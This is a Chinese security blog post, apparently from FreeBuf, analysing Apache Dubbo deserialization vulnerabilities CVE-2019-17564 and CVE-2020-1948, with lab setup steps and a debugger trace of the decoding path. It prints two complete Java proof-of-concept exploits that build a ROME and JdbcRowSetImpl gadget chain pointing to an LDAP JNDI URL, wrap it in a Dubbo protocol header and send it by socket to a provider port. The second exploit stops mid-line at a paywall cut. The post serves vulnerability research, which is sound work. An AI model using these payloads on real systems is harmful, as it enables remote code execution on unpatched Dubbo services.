freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

apache Dubbo反序列化全集
godownio 2025-02-25 10:12:45 275426
所属地 广东省

首先,先介绍一下JAVA RPC

apache Dubbo反序列化

JAVA RPC

Java RPC(Remote Procedure Call)是一种允许在分布式系统中执行跨进程通信的技术。它使得一个程序可以调用位于不同地址空间(通常是不同的计算机上)的方法,就像调用本地方法一样,而不需要关注底层的网络通信细节。Java RPC 在分布式系统开发中具有重要作用,常用于微服务架构和分布式应用程序。

  • JAVA RPC的工作原理:

其实RMI就是属于一种JAVA RPC。

客户端通过调用Client Stub的方法发起请求,代理对象将方法调用和参数封装为请求消息。然后把消息序列化后发送,服务端也有Server Stub接收请求消息,反序列化为方法调用和参数。然后服务端调用实际的方法并序列化结果传输给Client Stub。

注册中心用于记录服务的地址信息,常用的构建工具有Zookeeper、Eureka、Consul。Dubbo官方推荐为Zookeeper

  • JAVA 中的RPC框架:包括JAVA RMI、gRPC、Dubbo、Thrift,这些框架的对比如下

image-20241231140622076

hessian 是一种跨语言的高效二进制序列化方式。但Dubbo Hessian实际不是原生的 hessian2 序列化,而是阿里修改过的 hessian lite

Dubbo

Dubbo 提供了内置 RPC 通信协议实现,但它不仅仅是一款 RPC 框架。首先,它不绑定某一个具体的 RPC 协议,开发者可以在基于 Dubbo 开发的微服务体系中使用多种通信协议;其次,除了 RPC 通信之外,Dubbo 提供了丰富的服务治理能力与生态。

在Dubbo架构中,服务端和客户端分别被称作Provider(提供者)、Consumer(消费者)

image-20241231150621378

环境搭建

下载zookeeper官网的稳定版

https://www.apache.org/dyn/closer.lua/zookeeper/zookeeper-3.8.4/apache-zookeeper-3.8.4-bin.tar.gz

修改conf目录下的zoo_sample.cfg,名称改为zoo.cfg,创建data和log目录,配置内容如下:

tickTime=2000
initLimit=10
syncLimit=5
dataDir=C:\\Users\\xxx\\Desktop\\zookeeper‐3.4.14\\conf\\data
dataLogDir=C:\\Users\\xxx\\Desktop\\zookeeper‐3.4.14\\conf\\log
clientPort=2181

windows下双击bin目录下的zkServer.cmd即可启动

image-20241231150125754

根据dubbo官网可以快速创建一个基于Spring Boot的Dubbo应用,不过是3.3版本的dubbo:

https://dubbo-202409.staged.apache.org/zh-cn/overview/mannual/java-sdk/quick-start/spring-boot/

2.6.x版本的环境:

https://github.com/apache/dubbo-samples/tree/2.6.x

zookeeper归档:

https://archive.apache.org/dist/zookeeper/

解释一下spring xml中的配置:

  • 配置协议:

<dubbo:protocol name="dubbo" port="20880" />
  • 设置服务默认协议

<dubbo:provider protocol="dubbo" />
  • 设置服务协议

<dubbo:service protocol="dubbo" />

比如用hessian协议:

<dubbo:service protocol="hessian"/>
  • 多端口

<dubbo:protocol id="dubbo1" name="dubbo" port="20880" />
<dubbo:protocol id="dubbo2" name="dubbo" port="20881" />

引用服务:

<dubbo:reference protocol="hessian"/>

http协议暴露服务:

<bean id="demoService" class="org.apache.dubbo.samples.http.impl.DemoServiceImpl"/>

<dubbo:service interface="org.apache.dubbo.samples.http.api.DemoService" ref="demoService" protocol="http"/>

CVE-2019-17564

该漏洞源于dubbo开启http协议后,会把消费者提交的请求在无安全校验的情况下交给spring-web.jar处理,在request.getInputStream被反序列化

  • 漏洞范围:

2.7.0 <= Apache Dubbo <= 2.7.4
2.6.0 <= Apache Dubbo <= 2.6.7
Apache Dubbo = 2.5.x

直接看到dubbo-sample-http模块

image-20250123111239232

在该模块下添加CC依赖测试漏洞

改下http port为80,原来是8080,和burp冲突了

image-20250123114443867

官方给的demo不用单独开个zookeeper,代码已经集成了。如果想单独开一个可以把new EmbeddedZooKeeper注释掉

image-20250123164555811

bp向/org.apache.dubbo.samples.http.api.DemoService打CC链,弹出计算器

image-20250123164619601

弹不出的看下request 16进制,0d 0a 0d 0a换行后紧接的应该是ac ed 00 05的反序列化头

image-20250123164810236

就不从头分析了,分发过程太复杂了

断点打在com.alibaba.dubbo.remoting.http.servlet.DispatcherServlet#service

image-20250123165211719

在2.7.x版本软件包已经从com.alibaba转移到了org.apache

org.apache.dubbo.remoting.http.servlet

而且rpc软件包也进行了修改,使用2.7版本进行测试,环境使用下面的demo,此处省略

https://github.com/apache/dubbo-spring-boot-project/tree/2.7.x

pom区别:2.6.x:

<dependency>

com.alibaba
Dubbo
2.6.7

2.7.x:

org.apache.dubbo
dubbo
2.7.3

由于协议是http,进入该DispatcherServlet

判断了是否为POST,否则返回500

image-20250123170154007

此时的skeleton是HttpInvokerServiceExporter,这是个spring http的类

image-20250123170338970

继续调用HttpInvokerServiceExporter.handleRequest

image-20250123170356799

image-20250123171450201

跟进到readRemoteInvocation,先调用createObjectInputStream创建一个ObjectInputStream

image-20250123171822107

这里参数里的is就是我们POST的数据,等于说就是用ObjectInputStream封装了参数is

image-20250123172303695

然后调用doReadRemoteInvocation,里面直接调用了readObject,触发反序列化漏洞

image-20250123172411564

但是这个洞有很多限制:

  1. Dubbo默认通信协议是Dubbo协议,而不是HTTP

  2. 需要提前知道目标的RPC接口名

在2.7.5及以后版本不再使用HttpInvokerServiceExporter处理http请求,而是使用com.googlecode.jsonrpc4j.JsonRpcServer,调用其父类的JsonRpcBasicServer#handle处理

image-20250210183239520

CVE-2020-1948 Hessian反序列化

  • 漏洞范围:

Apache Dubbo 2.7.0 ~ 2.7.6
Apache Dubbo 2.6.0 ~ 2.6.7
Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)。
在实际测试中2.7.8补丁绕过可以打,而2.7.9失败

在marshalsec中,给了Hessian的几条利用链:

Rome、XBean、Resin、SpringPartiallyComparableAdvisorHolder、SpringAbstractBeanFactoryPointcutAdvisor

ROME链

调试前关闭启用"toString"对象试图,否则漏洞会提前触发

image-20250123183935529

由于2.6.x和2.7.x的dubbo包名不同,所以反序列化的payload也不同。如果目标是2.6.x则payload对应修改为com.alibaba.dubbo,如果目标是2.7.x则payload对应修改为org.apache.dubbo

2.7.3的环境:

https://github.com/apache/dubbo-spring-boot-project/tree/2.7.3

使用该demo的dubbo-spring-boot-samples/auto-configure-samples的provider-sample DubboAutoConfigurationProviderBootStrap

image-20250124133052585

在provider-samples下的pom中加入rome依赖

<dependency>
    <groupId>com.rometools</groupId>
    <artifactId>rome</artifactId>
    <version>1.8.0</version>
</dependency>

image-20250124133237770

JNDI注入如下:

注意引入dubbo、rome和已编译的marshalsec作为依赖,自带了zk,不用单独开了

<repositories>
    <repository>
        <id>org.example</id>
        <name>marshalsec</name>
        <url>file:${project.basedir}/lib</url>
    </repository>
</repositories>

    <dependency>
        <groupId>org.exploit</groupId>
        <artifactId>marshalsec</artifactId>
        <version>1.0</version>
        <scope>system</scope>
       <systemPath>${project.basedir}/lib/marshalsec-0.0.3-SNAPSHOT-all.jar</systemPath>
    </dependency>
        <dependency>
            <groupId>com.rometools</groupId>
            <artifactId>rome</artifactId>
            <version>1.8.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.dubbo</groupId>
            <artifactId>Dubbo</artifactId>
            <version>2.7.3</version>
        </dependency>
        <dependency>
            <groupId>com.caucho</groupId>
            <artifactId>hessian</artifactId>
            <version>4.0.38</version>
        </dependency>

漏洞触发点1

该触发点可以一直沿用到2.7.13

POC:

package org.exploit.third.Dubbo;

import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.net.Socket;
import java.util.HashMap;
import java.util.Random;

import marshalsec.HessianBase;
import marshalsec.util.Reflections;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Cleanable;
//Apache Dubbo 2.7.0 ~ 2.7.13
//Apache Dubbo 2.6.0 ~ 2.6.7
//Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)。
//在实际测试中2.7.8补丁绕过

public class GadgetsTestHessian {
    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl rs = new JdbcRowSetImpl();
        //todo 此处填写ldap url
        rs.setDataSourceName("ldap://127.0.0.1:8085/GQOsPFQU");
        rs.setMatchColumn("foo");
        Reflections.setFieldValue(rs, "listeners",null);

        ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
        EqualsBean root = new EqualsBean(ToStringBean.class, item);

        HashMap s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 1);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 1);
        Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
        Reflections.setFieldValue(s, "table", tbl);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

        // header.
        byte[] header = new byte[16];
        // set magic number.
        Bytes.short2bytes((short) 0xdabb, header);
        // set request and serialization flag.
        header[2] = (byte) ((byte) 0x80 | 0x20 | 2);

        // set request id.
        Bytes.long2bytes(new Random().nextInt(100000000), header, 4);

        ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
        HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();
        sf.setAllowNonSerializable(true);
        out.setSerializerFactory(sf);

        out.writeObject(s);

        out.flushBuffer();
        if (out instanceof Cleanable) {
            ((Cleanable) out).cleanup();
        }

        Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
        byteArrayOutputStream.write(header);
        byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());

        byte[] bytes = byteArrayOutputStream.toByteArray();

        //todo 此处填写被攻击的dubbo服务提供者地址和端口
        Socket socket = new Socket("127.0.0.1", 20880);
        OutputStream outputStream = socket.getOutputStream();
        outputStream.write(bytes);
        outputStream.flush();
        outputStream.close();
    }
}

第一个断点打在org.apache.dubbo.rpc.protocol.dubbo.DubboCountCodec#decode()

image-20250126105445645

跟进到ExchangeCodec.decode,调用了另一个同名函数decode

image-20250126105656818

该decode就是先检查魔数、数据长度、负载是否符合要求,如果没问题就调用decodeBody解码消息体,跟进decodeBody

image-20250126110404905

image-20250126110724144

DubboCodec#decodeBody()是Dubbo解码Dubbo协议消息体的主要函数,根据消息类型(请求或响应)进行不同的处理,如下图if为真就作为响应处理

image-20250126111414262

我们发起的攻击是request,所以进入else。先跟进到CodecSupport.deserialize()

image-20250126111658022

通过getSerialization获取反序列化器

image-20250126111720683

反序列化器用一个HashMap静态变量ID_SERIALIZATION_MAP存储了

image-20250126111855182

根据url和id,用的键为2的反序列化器,也就是Hessian2Serialization

image-20250126112055858

image-20250126112107718

接着就能跟进到Hessian2Serialization.deserialize,实例化了一个Hessian2ObjectInput

image-20250126113103658

中间有些loadClass加载caucho hessian类的过程

image-20250126113633663

可以看见后面返回的封装内容,其中_is就是我们传入的payload流

image-20250126135906487

随后调用了ExchangeCodec.decodeHeartbeatData

image-20250208155904451

在该方法内直接调用了Hessian2ObjectInput.readObject

image-20250208160001777

继续跟进到Hessian2Input.readObject(List<Class<?>> expectedTypes)处,直接跳到了case H(为什么是H后面会说),这里发现是取的Map的反序列化器

image-20250208160116587

所以跳到了MapDeserializer.readMap,并调用了doReadMap

image-20250208160647497

image-20250208160734685

doReadMap循环readObject输入流,只不过此处的readObject是Hessian的readObject而不是原生的ObjectInputStream

image-20250208160817723

OK此处用Hessian反序列化出了EqualsBean

image-20250208162159378

在还原出EqualsBean后,会调用map.put

image-20250208162348496

在put的时候,进入经典的put -> hash -> EqualsBean.hashCode() 触发ROME链的过程

image-20250208162422937

现在我们回过头来可以发现,为什么会进入case H? 因为我们传输的就是个hashMap,以h打头,而且也解释了为什么会直接取的是MapDeserializer

而且在还原对象的时候,跟进到in.readObject

image-20250208195024052

继续跟进五步左右,看到调用了instantiate

image-20250208195125709

所以dubbo hessian反序列化是通过构造函数还原的类

image-20250208195326865

payload之所以用反射装填hashMap,是怕提前触发了map.put

按理说hashMap.put也OK:

package org.exploit.third.Dubbo;

import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.ObjectBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import marshalsec.HessianBase;
import marshalsec.util.Reflections;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Cleanable;

import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.Socket;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Random;

//Apache Dubbo 2.7.0 ~ 2.7.6
//Apache Dubbo 2.6.0 ~ 2.6.7
//Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)。
//在实际测试中2.7.8补丁绕过可以打,而2.7.9失败

public class diyTestHessian {
    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl rs = new JdbcRowSetImpl();
        //todo 此处填写ldap url
        rs.setDataSourceName("ldap://127.0.0.1:8085/GQOsPFQU");
        rs.setMatchColumn("foo");
        Reflections.setFieldValue(rs, "listeners",null);
        JdbcRowSetImpl rs1 = new JdbcRowSetImpl();

        ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs1);
        EqualsBean root = new EqualsBean(ToStringBean.class, item);

        HashMap s = new HashMap<>();
        s.put(root,root);
        Field field = ToStringBean.class.getDeclaredField("obj");
        field.setAccessible(true);
        field.set(item,rs);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

        // header.
        byte[] header = new byte[16];
        // set magic number.
        Bytes.short2bytes((short) 0xdabb, header);
        // set request and serialization flag.
        header[2] = (byte) ((byte) 0x80 | 0x20 | 2);

        // set request id.
        Bytes.long2bytes(new Random().nextInt(100000000), header, 4);

        ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
        HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();
        sf.setAllowNonSerializable(true);
        out.setSerializerFactory(sf);

        out.writeObject(s);

        out.flushBuffer();
        if (out instanceof Cleanable) {
            ((Cleanable) out).cleanup();
        }

        Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
        byteArrayOutputStream.write(header);
        byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());

        byte[] bytes = byteArrayOutputStream.toByteArray();

        //todo 此处填写被攻击的dubbo服务提供者地址和端口
        Socket socket = new Socket("127.0.0.1", 20880);
        OutputStream outputStream = s
可试读前30%内容
¥ 19.9 全文查看
9.9元开通FVIP会员
畅读付费文章
最低0.3元/天
# web安全 # 漏洞分析 # JAVA安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 godownio 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
JAVA—反序列化探究
godownio LV.3
Something for nothing
  • 14 文章数
  • 9 关注者
JNDI绕过高版本注入限制那些事
2024-12-04
XStream反序列化漏洞合集
2024-10-31
深入浅出SnakeYaml反序列化
2024-10-28
文章目录